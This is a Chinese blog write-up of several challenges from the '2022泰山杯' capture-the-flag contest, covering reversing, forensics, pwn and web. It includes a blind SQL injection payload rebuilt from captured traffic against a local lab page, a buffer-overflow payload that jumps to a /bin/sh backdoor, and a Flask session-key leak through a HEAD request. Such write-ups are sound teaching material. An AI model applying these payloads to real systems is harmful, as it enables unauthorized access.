关于 DreamCat

主题名称:DreamCat | 版本:3.0.240224

主题开发:HanFengA7 | CornWorld

Designed by HanFengA7 Power by Typecho

Copyright © 2015-2024 by LychApe All rights reserved!

menu
refresh

"2022泰山杯"部分题解

作者: ciaoℒy

时间:

附件下载

zzip

使用binwalk分析图片, 发现存在zip尾部特征. 随便找一个正经的zip文件, 使用HxD补全zip的头:

image-20220912172948961

unzip命令解压得到flag:

image-20220908142500226

image-20220908142516446

good_day

发现存在文件包含, 使用php伪协议读取flag.php文件得到flag:

image-20220908142644033

image-20220908142746336

hide

是C#的应用, 使用dnSpy打开, 动态调试程序, 在btnStart_Click的事件响应函数里发现为label赋值的函数, 逐个运行得到一堆字符: all{7liuf}Pgo

image-20220908114155738

怀疑flag可能跟label控件的位置有关, 使用HTML和css绝对定位模拟label标签的显示效果, 得到flag:

image-20220912135711430

flag{Plo7}

x+1

13, 12, 7, 29, 67, 92, 80, 83, 80, 84, 87, 26, 1, 5, 8, 1, 6, 92, 0, 5, 84, 83, 91, 92, 87, 29, 81, 90, 13, 86, 6, 2, 81, 3, 91, 7, 24

数值看上去比较离散, 基本可以排除凯撒加密, 尝试异或运算:

image-20220911113340358

编写脚本解出flag:

$x = 13, 12, 7, 29, 67, 92, 80, 83, 80, 84, 87, 26, 1, 5, 8, 1, 6, 92, 0, 5, 84, 83, 91, 92, 87, 29, 81, 90, 13, 86, 6, 2, 81, 3, 91, 7, 24;
$flag = @([int][char]'f');
$x | % {
  $flag += ($_ -bxor $flag[-1]) + 1;
}
($flag | % { [char]$_ } ) -join "";

image-20220911123401227

easysuanfa

使用Ghidra反编译, 利用字符串提示跳转到关键代码:

image-20220912130220220

其中DAT_004021b4DAT_00402158均为双字的数组, 算法核心部分为:

          uVar5 = uVar7 & 0x80000003;
          if ((int)uVar5 < 0) {
            uVar5 = (uVar5 - 1 | 0xfffffffc) + 1;
          }
          uVar5 = (&DAT_004021b4)[uVar5];
          uVar2 = (int)(char)(&stack0xffffffd8)[uVar7];
          while (uVar5 != 0) {
            uVar6 = uVar2 ^ uVar5;
            uVar5 = (uVar2 & uVar5) * 2;
            uVar2 = uVar6;
          }
          if (uVar2 != (&DAT_00402158)[uVar7]) {
            pcVar8 = "Try again!:(`";
            goto LAB_00401150;
          }
          uVar7 = uVar7 + 1;

使用ida pro反编译的话, 得到的代码更简洁明了:

image-20220912131154000

data段中为DAT_004021b4DAT_00402158创建dword数组, 长度分别为4和23

image-20220912131404922

将两个关键数组复制出来, 编写脚本爆破flag:

$flag_arr = 0x129A,0x56E4,0x87C6,0x4388,0x12AF,0x56BF,0x87CE,0x4397,0x1299,0x56D7,0x87D2,0x4386,0x1293,0x56E5,0x87D4,0x4393,0x1299,0x56D7,0x87C7,0x438A,0x12A8,0x56EB,0x87E2

function enc($chr, $index = 0) {
    $key_arr = 0x1234,0x5678,0x8765,0x4321;
    $key = $key_arr[$index % 4];
    while ($key -ne 0) {
        $t = $chr -bxor $key;
        $key = ($chr -band $key) * 2;
        $chr = $t;
    }
    return $chr;
}

1..23 | % {
    $index = $_ - 1;
    foreach ($chr in [int][char]"0" .. 126) { #'0'-'~'
        $c = $chr;
        if ((enc -chr $chr -index $index) -eq $flag_arr[$index]) {
            $flag_arr[$index] = $c;
            break;
        }
    }
}

($flag_arr | % { [char]$_ }) -join ""

image-20220912133821922

AnalyseMe2

一道流量分析题, 根据exp.py, 编写脚本从流量包中提取有效的数据.

使用tshark工具将流量包解析成json格式以便使用脚本处理. 最终得到的content为:

($content | % { [char]$_ }) -join ""
# afb0e1dedddfe0dde1b0addfafdeb1e1dcafaddde1b3e0dcdcb1acdddfdddeb1e1e7dce2f6dcdcdeb3deafacdcb3b1ddb3afe0b1b0dcdcdde0aeafb3abaedddeabb0afdfb0f8b1afb4b0b3ddabb2acb4e1abafb4acacdcb2b1b0b1deb0afe1b1aeb2b0dcddb2

看起来应该是Hex, 将该字符串转换为int型数组进行分析:

$hex = ($content | % { [char]$_ }) -join ""
$bytes = [int[]] -split ($hex -replace "(\w\w)",'0x$1 ')
# 175 176 225 222 221 223 224 221 225 176 173 223 175 222 177 225 220 175 173 221 225 179 224 220 220 177 172 221 223 221 222 177 225 231 220 226 246 220 220 222 179 222 175 172 220 179 177 221 179 175 224 177 176 220 220 221 224 174 175 179 171 174 221 222 171 176 175 223 176 248 177 175 180 176 179 221 171 178 172 180 225 171 175 180 172 172 220 178 177 176 177 222 176 175 225 177 174 178 176 220 221 178

根据exp.py中的提示: th1s_1s_y0ur_w4nt.caesar_code, 猜测可能和凯撒加密有关. 为了破解凯撒加密, 进行简单的统计: bytes中最大值为248, 最小值为171, 两者的差值为77:

image-20220912170311957

而根据ASCII, 字符"}"与字符"0"之间的差值也是77. 比较巧合?

image-20220912170605202

尝试将bytes中所有元素均向前偏移123位, 使bytes中最小元素与ASCII字符"0"对齐, 得到flag:

image-20220912170927230

最终用到的解密脚本如下:

$json = tshark -r .\data.pcapng -j "http" -Y "data-text-lines" -T "json" -e "http.file_data" -e "http.response_for.uri" | ConvertFrom-Json ;
$data = $json | % { @{url=$_._source.layers.'http.response_for.uri'; data=($_._source.layers."http.file_data" -like "*your uid:1*")} } ;

$i = 0;
$content = @();
foreach ($pos in 1..204) {
    $min_num = 32;
    $max_num = 126;
    $mid_num = [System.Math]::Floor(($min_num + $max_num) / 2);
    while ($min_num -lt $max_num){
        $payload = "vince'!=!(ascii(mid((select try_decode from th1s_1s_y0ur_w4nt.caesar_code), $($pos), 1)) > $($mid_num))!=!'1";
        $myurl = "http://127.0.0.1/pikachu-master/vul/sqli/sqli_blind_b.php?name=$($payload)&submit=%E6%9F%A5%E8%AF%A2";
        if([System.Web.HttpUtility]::UrlDecode($data[$i].url) -ne [System.Web.HttpUtility]::UrlDecode($myurl)) {
            Write-Error "ERROR: min_num=$($min_num), max_num=$($max_num), mid_num=$($mid_num), index=$($i)`npos=$($pos)";
        }
        #resp = requests.get(url=myurl)
        if($data[$i].data) {
            $min_num = $mid_num + 1
        } else {
            $max_num = $mid_num
        }
        $mid_num = [System.Math]::Floor(($min_num + $max_num) / 2);
        $i ++;
    }
    $content += [int]$mid_num
}

$hex = ($content | % { [char]$_ }) -join ""
$bytes = [int[]] -split ($hex -replace "(\w\w)",'0x$1 ')

( $bytes | % { [char]([int]$_ - ([int]($bytes | Measure-Object -Minimum).Minimum - [int][char]'0')) }) -join ""

另外, 写了个破解凯撒加密的脚本, 测试了可以用

脚本链接

心情记录器

NodeJS原型链污染一则(RCE)

sof

静态分析一下, 有漏洞的函数长这样:

;undefined  hack () 

PUSH       RBP
MOV        RBP ,RSP
SUB        RSP ,0x30
MOV        R13 ,RBP   ;buffer
MOV        RSI ,R13   ;Buffer
MOV        RDI ,0x0   ;stdin
MOV        RDX ,16    ;length
MOV        RAX ,0x0   ;read
SYSCALL
LEAVE
RET

代码是从RBP往下写, 最多写两个qword. 此外, 还有一个backdoor函数:

;undefined  backdoor ()                ;地址
PUSH       RBP                         ;0040064a
MOV        RBP ,RSP                    ;0040064b
LEA        RDI ,[s_/bin/sh_004007b2 ]  ;0040064e
CALL       <EXTERNAL>::system          ;00400655
NOP                                    ;0040065a
POP        RBP                         ;0040065b
RET                                    ;0040065c

直接发下述paload即可:

payload = b"a" * 8 + p64(0x040064a);

但是, 如果环境是Ubuntu 18及以后的话(Debian和Kali也符合), system函数需要对栈内存进行对齐. 具体怎么对齐我也说不清楚, 可参考这篇文章: 关于ubuntu18版本以上调用64位程序中的system函数的栈对齐问题 - ZikH26 - 博客园 (cnblogs.com)

根据这篇文章分享的经验, 上述payload则可以修改为:

payload = b"a" * 8 + p64(0x040064b);

web2

@app.route('/getkey', methods=["GET"])
def getkey():
    if request.method != "GET":
        session["key"]=SECRET_KEY

打开附件web2.txt, 就长上面这样. 根据代码逻辑推测, 需要某种请求方法, 使其既能命中路由@app.route('/getkey', methods=["GET"]), 又不能是GET. 现场猜测应该是HEAD方法即可. 事后查询一下官方文档, 的确HEAD是自动开启的:

route(rule, **options)

Decorate a view function to register it with the given URL rule and options. Calls add_url_rule(), which has more details about the implementation.

@app.route("/")
def index():
    return "Hello, World!"

See URL Route Registrations.

The endpoint name for the route defaults to the name of the view function if the endpoint parameter isn’t passed.

The methods parameter defaults to ["GET"]. HEAD and OPTIONS are added automatically.

  • Parameters:

    rule (str) – The URL rule string.options (Any) – Extra options passed to the Rule object.

  • Return type:

    Callable[[T_route], T_route]

用burpsuite构造HEAD请求测试一下:

(比赛现场的环境没有了, 截图都是我在本地环境模拟的, 不一定是完整的题解, 只是提供一个参考思路)

image-20230913222357768

可以看到程序返回了session. 当时不知道是在现场没有找到合适的工具发送HEAD请求, 还是这种思路是错误的, 总之我印象中确实是没有获得预期的session

工具解码一下该session即可得到SECRET_KEY. 至于本题后续有没有其它的内容, 我就不知道了.

python3 .\flask_session_cookie_manager3.py decode -c YOUR_SESSION_HERE

#本文链接:https://blog.chaol.top/archives/61.html
#本文采用 CC BY-NC-SA 4.0 协议进行许可
#如无特别声明,该文章均为 ciaoℒy 原创,转载请遵循 署名-非商业性使用 4.0 国际(CC BY-NC 4.0)协议,即转载请注明文章来源。
#最后编辑时间为: 2023 年 09 月 13 日
WriteUp
none

create 添加新评论


account_circle
email
language
textsms



加我的QQ
加我的微博
加我的支付宝
加我的微信